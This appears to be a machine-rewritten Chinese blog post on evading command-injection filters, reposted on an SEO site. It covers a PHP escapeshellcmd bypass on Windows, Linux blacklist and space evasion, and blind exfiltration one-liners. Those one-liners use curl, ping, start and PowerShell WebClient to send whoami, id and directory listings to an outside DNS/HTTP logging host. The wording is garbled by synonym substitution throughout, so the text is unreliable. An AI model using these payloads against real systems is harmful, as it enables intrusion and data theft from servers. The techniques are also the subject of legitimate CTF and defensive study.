首页 » SEO优化 » PHP转义字符绕过技巧_敕令实行和绕过的一些小技巧

PHP转义字符绕过技巧_敕令实行和绕过的一些小技巧

访客 2024-11-05 0

扫一扫用手机浏览

文章目录 [+]

作者:l3m0n_

预估稿费:300RMB(不服你也来投稿啊!

PHP转义字符绕过技巧_敕令实行和绕过的一些小技巧

投稿办法:发送邮件至linwei#360.cn,或上岸网页版在线投稿

PHP转义字符绕过技巧_敕令实行和绕过的一些小技巧
(图片来自网络侵删)

先看一个例子

本地测试环境:PHP 5.4.45 + Win

1234567<?php $command = 'dir '.$_POST['dir']; $escaped_command = escapeshellcmd($command); var_dump($escaped_command); file_put_contents('out.bat',$escaped_command); system('out.bat');?>

该当如何去绕过实行?

escapeshellcmd

http://php.net/manual/zh/function.escapeshellcmd.php

escapeshellcmd() 对字符串中可能会欺骗 shell 命令实行任意命令的字符进行转义。
此函数担保用户输入的数据在传送到 exec() 或 system() 函数,或者 实行操作符 之提高行转义。

具体会转义哪些字符?

https://github.com/php/php-src/blob/PHP-5.4.45/ext/standard/exec.c

这些都会用^来取消其意义。
也便是没办法用& | 来实行其他命令,只能列目录。

有这样的一个tip:实行.bat文件的时候,利用%1a,可以绕过过滤实行命令。

更多好玩的命令绕过

linux下面tip特殊多,在实战或者ctf中碰着最多的几个。

1. 黑名单绕过

1234实行ls命令:a=l;b=s;$a$bcat hello文件内容:a=c;b=at;c=he;d=llo;$a$b ${c}${d}

2. 空格绕过

1234绕过空格${IFS}或者在读取文件的时候利用重定向符<>

末了便是别人fuzz的一个命令实行项目:

https://github.com/ewilded/shelling

3. 无回显

无回显获取数据的需求还是挺大的,比如sql,xxe,xss等等,这个时候一样平常可以用dns/http通道来获取数据。

linux:

12curl xxxx.ceye.io/`whoami`ping -c 1 `whoami`.xxxx.ceye.io

可以获取数据,当前权限是root

但是有一个特殊恼火的事情便是分外字符或者是空格涌现的话,这时候可以通过一些编码来,比如base64

1curl http://xxxx.ceye.io/$(id|base64)

windows:

windows下很头疼,用起来并没有linux那么方便好用,比如curl、wget等等。

12345http要求:for /F %x in ('whoami') do start http://xxx.ceye.io/%xdns要求:获取打算机名:for /F \"大众delims=\\"大众 %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info获取用户名:for /F \"大众delims=\ tokens=2\公众 %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info

powershell这么厉害,为啥不用它来base64一下数据。

1for /F %x in ('whoami') do powershell $a=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('%x'));$b=New-Object System.Net.WebClient;$b.DownloadString('http://xxx.ceye.io/'+$a);

这样就也能获取到一个base64编码到命令结果啦~算是填补一个小小的坑。

ps:这个是用powershell2.0写的,其他版本未测试。

但是如果没有powershell想要获取更多数据的话,还是比较麻烦的。

比如获取d:\所有文件,遇上空格也是会被截断。

1for /F %x in ('dir /b D:\') do start http://xxx.ceye.io/%x

4. 借他人之手来获取字符

如果过滤了<>?,可以从已有的文件中获取自己须要的字符。

当然如果做事器能外网的话,直接wget -o /tmp就好了。

标签:

相关文章

介绍百度网盘,云端存储时代的创新先锋

随着互联网技术的飞速发展,云计算已经成为现代生活不可或缺的一部分。而在这其中,百度网盘作为国内领先的云存储服务提供商,以其卓越的性...

SEO优化 2025-01-03 阅读1 评论0

介绍监控屏蔽技术,守护个人隐私的利器

随着科技的发展,监控设备已经深入到我们生活的方方面面。在享受便利的隐私安全问题也日益凸显。如何有效屏蔽监控,保护个人隐私,成为人们...

SEO优化 2025-01-03 阅读1 评论0

介绍番号观看方法,轻松驾驭影视世界

随着互联网的普及,网络影视资源日益丰富,番号作为影视作品的标识码,已经成为广大观众了解、搜索和观看影视作品的重要途径。如何正确地使...

SEO优化 2025-01-03 阅读1 评论0

介绍盗微信号黑幕,网络安全的严峻挑战

在数字化时代,微信已成为人们生活中不可或缺的通讯工具。随着微信用户数量的激增,盗微信号的事件也日益增多。本文将深入剖析盗微信号的方...

SEO优化 2025-01-03 阅读1 评论0